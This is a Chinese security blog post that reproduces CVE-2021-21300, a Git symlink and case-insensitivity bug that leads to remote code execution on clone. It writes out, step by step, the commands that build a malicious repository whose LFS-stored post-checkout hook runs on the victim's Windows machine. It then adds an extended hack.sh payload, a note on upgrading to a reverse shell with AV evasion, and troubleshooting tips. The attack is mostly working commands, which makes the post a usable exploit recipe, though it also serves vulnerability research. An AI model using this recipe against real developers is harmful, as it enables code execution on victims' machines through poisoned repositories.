技術分享 | Git-RCE:CVE-2021-21300

廣州錦行科技發表於2021-04-04

git多個版本中,對符號連結處理不嚴格。在大小寫敏感(例如Linux)的檔案系統上傳檔案到git後,使用大小寫不敏感檔案系統(例如Windows)的主機克隆惡意倉庫時可能導致遠端命令執行

本文由錦行科技的安全研究團隊提供,從攻擊者的角度還原了Git-RCE的滲透過程。

觸發條件:

  • 倉庫中存在同名的連結符號目錄

  • 符號連結指向特殊目錄(目前看來是.git/hooks

  • 受害機需要有足夠許可權執行惡意命令

01復現


01 環境準備

庫準備

系統:ubuntux64

需安裝 git、git-lfs

執行 git lfs install命令可能會報錯

Error: Failed to call git rev-parse --git-dir: exit status 128

可以忽略

出現Git LFS initialized.即完成安裝


受害機

系統:win10x64

git for window:Git-2.17.1-64-bit

https://www.npackd.org/p/git64/2.17.1.2

git for window 的安裝全為預設即可

02 惡意倉庫準備

在github新建倉庫

網上相應教程很多,不贅述


在ubuntu構建惡意倉庫並上傳到github

執行命令如下

$ git init delayed-checkout

$ cd delayed-checkout &&   

echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes && 

mkdir A && 

printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout && 

chmod +x A/post-checkout && 

>A/a && 

>A/b && 

git add -A && 

rm -rf A && 

ln -s .git/hooks a && 

git add a && 

git commit -m initial

$ git branch -M main

$ git remote add origin [自己的倉庫地址]

$ git push -u origin main

檢視github倉庫,校驗各檔案內容是否正確,需如下顯示:


  • gitattributes

技術分享 | Git-RCE:CVE-2021-21300


  • a(軟連結)

技術分享 | Git-RCE:CVE-2021-21300


  • A/post-checkout(儲存在Git LFS中)


技術分享 | Git-RCE:CVE-2021-21300

03 攻擊測試

在win10提供的powershell(管理員)中執行命令如下:

> git clone -c core.symlinks=true [自己的倉庫地址]

clone後出現 PWNED 即為遠端命令執行成功

技術分享 | Git-RCE:CVE-2021-21300


可見,在clone時,執行了post-checkout檔案中的命令。

思路是使用IEX下載指令碼,然後透過kali監聽獲取shell,但大多數指令碼都會被識別阻止,透過免殺繞過應該能夠實現。

技術分享 | Git-RCE:CVE-2021-21300



04 擴充套件利用

在目錄中新增指令碼檔案hack.sh

技術分享 | Git-RCE:CVE-2021-21300

內容如下

#!/bin/sh 

################# 

echo "script working..." && 

cd / && 

pwd && 

mkdir hack 

cd hack && 

touch hacked && 

echo "you has been hacked">hacked && 

echo "done!"

修改post-checkout中執行的命令以執行指令碼

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout

受害機演示:

在受害機中拉取惡意倉庫,可見指令碼執行成功

技術分享 | Git-RCE:CVE-2021-21300


02 復現中遇到的問題

以下列舉在git中可能會存在的各種玄學錯誤:

01git的連結錯誤

如下錯誤

Failed to connect to github.com port 443: Connection refused

destination path 'CVE-2021-21300' already exists and is not an empty directory

解決方法:

  1. 可以使用代理或者更換代理節點

  2. 稍等一段時間後重試


02already exists and is not an empty directory

如下錯誤:

fatal: destination path 'CVE-2021-21300' already exists and is not an empty directory.


解決方法:

重新clone需要刪除原有檔案


0warning:Clone succeeded, but checkout failed

如下錯誤:

error: unable to create file A/post-checkout: No such file or directory
fatal: unable to checkout working tree
warning: Clone succeeded, but checkout failed.
You can inspect what was checked out with 'git status'
and retry the checkout with 'git checkout -f HEAD'


解決方法:

clone時需要新增引數 -c core.symlinks=true 開啟git對符號連結的支援


0Encountered 1 file(s) that should have been pointers, but weren't : A/post-checkout 

解決方法:

在構造惡意倉庫時發生錯誤,重新檢查各需要檢查的檔案內容是否正確,軟連結是否正確


0Error when cloning a repo - Smudge error, error: external filter 'git-lfs filter-process' failed, smudge filter lfs failed

解決方法:

檢查惡意倉庫中的lfs檔案是否正確儲存到Git Lfs上


References

https://www.openwall.com/lists/oss-security/2021/03/09/3

https://github.com/Maskhe/CVE-2021-21300

相關文章